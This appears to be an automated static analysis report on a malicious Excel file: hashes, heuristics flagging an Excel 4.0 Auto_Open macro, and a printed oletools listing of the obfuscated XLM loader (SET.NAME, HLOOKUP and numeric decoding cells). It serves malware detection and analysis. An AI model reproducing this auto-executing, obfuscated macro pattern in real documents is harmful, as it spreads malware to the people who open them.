Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2cf5273071ca4a7d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:32 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: c691aa2f8bcdba64aa46a83e6691bcaa SHA-1: 465f46b42c60b614a5db0018ed12948c5b38034e SHA-256: 2cf5273071ca4a7d27125ebca3a0460f11c728a9d76feebd0bfb4765cc4baee8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6821 bytes
SHA-256: 0deb977f829d51a13896814e08a1ef836e5993e1b5622de851a226523f6cb5ee
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SXJsQnGlu
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B162 
' 0018     23 LABEL : Cell Value, String Constant - cuTRKoPt len=0 
' 0018     25 LABEL : Cell Value, String Constant - DAXKMTUmfm len=0 
' 0018     26 LABEL : Cell Value, String Constant - fooKWxTLsnu len=0 
' 0018     22 LABEL : Cell Value, String Constant - FTmRtou len=0 
' 0018     27 LABEL : Cell Value, String Constant - jaWHmPtbMDdi len=0 
' 0018     27 LABEL : Cell Value, String Constant - ltmptepapsQO len=0 
' 0018     22 LABEL : Cell Value, String Constant - LWfYaxp len=0 
' 0018     22 LABEL : Cell Value, String Constant - mBrDoaK len=0 
' 0018     22 LABEL : Cell Value, String Constant - miMDrZL len=0 
' 0018     26 LABEL : Cell Value, String Constant - mJQQsxmkJVQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - MUdTBqiJC len=0 
' 0018     21 LABEL : Cell Value, String Constant - oobvaL len=0 
' 0018     24 LABEL : Cell Value, String Constant - ORxHUowRV len=0 
' 0018     27 LABEL : Cell Value, String Constant - pCoWfxFscRXA len=0 
' 0018     26 LABEL : Cell Value, String Constant - RBkbIubBcsG len=0 
' 0018     21 LABEL : Cell Value, String Constant - RQtvLy len=0 
' 0018     21 LABEL : Cell Value, String Constant - TPLBRF len=0 
' 0018     20 LABEL : Cell Value, String Constant - ygkRs len=0 
' 0018     27 LABEL : Cell Value, String Constant - YrtlIvFScyLo len=0 
' 0018     26 LABEL : Cell Value, String Constant - yUxzDaPaYad len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SXJsQnGlu,T40,"",699.00000000000000000000
'  SXJsQnGlu,T41,"",-238.00000000000000000000
'  SXJsQnGlu,T42,"",-76.00000000000000000000
'  SXJsQnGlu,T43,"",-110.00000000000000000000
'  SXJsQnGlu,T44,"",-1000.00000000000000000000
'  SXJsQnGlu,T45,"",272.00000000000000000000
'  SXJsQnGlu,B69,"SET.NAME("MUdTBqiJC",0+VALUE("0"))",""
'  SXJsQnGlu,B73,"SET.NAME("FTmRtou",MUdTBqiJC)",""
'  SXJsQnGlu,B76,"SET.NAME("fooKWxTLsnu",MUdTBqiJC)",""
'  SXJsQnGlu,B78,"SET.NAME("miMDrZL",COUNTA(ORxHUowRV))",""
'  SXJsQnGlu,B83,"SET.NAME("ygkRs",COUNTA(jaWHmPtbMDdi))",""
'  SXJsQnGlu,B88,[],""
'  SXJsQnGlu,B93,"SET.NAME("oobvaL","")",""
'  SXJsQnGlu,B98,"FTmRtou",""
'  SXJsQnGlu,B103,"SET.NAME("RQtvLy",HLOOKUP("*",ORxHUowRV,FTmRtou,FALSE))",""
'  SXJsQnGlu,B107,"cuTRKoPt",""
'  SXJsQnGlu,B110,"SET.NAME("pCoWfxFscRXA",MUdTBqiJC)",""
'  SXJsQnGlu,B113,[],""
'  SXJsQnGlu,B118,"pCoWfxFscRXA",""
'  SXJsQnGlu,B121,"DAXKMTUmfm",""
'  SXJsQnGlu,B123,"RBkbIubBcsG",""
'  SXJsQnGlu,B128,"mBrDoaK",""
'  SXJsQnGlu,B130,"SET.NAME("TPLBRF",VALUE(HLOOKUP("*",jaWHmPtbMDdi,mBrDoaK,FALSE)))",""
'  SXJsQnGlu,B135,"yUxzDaPaYad",""
'  SXJsQnGlu,B138,"oobvaL",""
'  SXJsQnGlu,B141,"fooKWxTLsnu",""
'  SXJsQnGlu,B143,NEXT(),""
'  SXJsQnGlu,B145,"mJQQsxmkJVQ",""
'  SXJsQnGlu,B150,[],""
'  SXJsQnGlu,B155,"ltmptepapsQO",""
'  SXJsQnGlu,B157,NEXT(),""
'  SXJsQnGlu,B160,RETURN(),""
'  SXJsQnGlu,B187,"SET.NAME("LWfYaxp",B69)",""
'  SXJsQnGlu,B192,"ORxHUowRV",""
'  SXJsQnGlu,B195,"SET.NAME("jaWHmPtbMDdi",R76C12)",""
'  SXJsQnGlu,B197,"SET.NAME("ltmptepapsQO",206)",""
'  SXJsQnGlu,B202,"SET.NAME("YrtlIvFScyLo",2)",""
'  SXJsQnGlu,B205,LWfYaxp(),""
'  SXJsQnGlu,B206,HALT(),""

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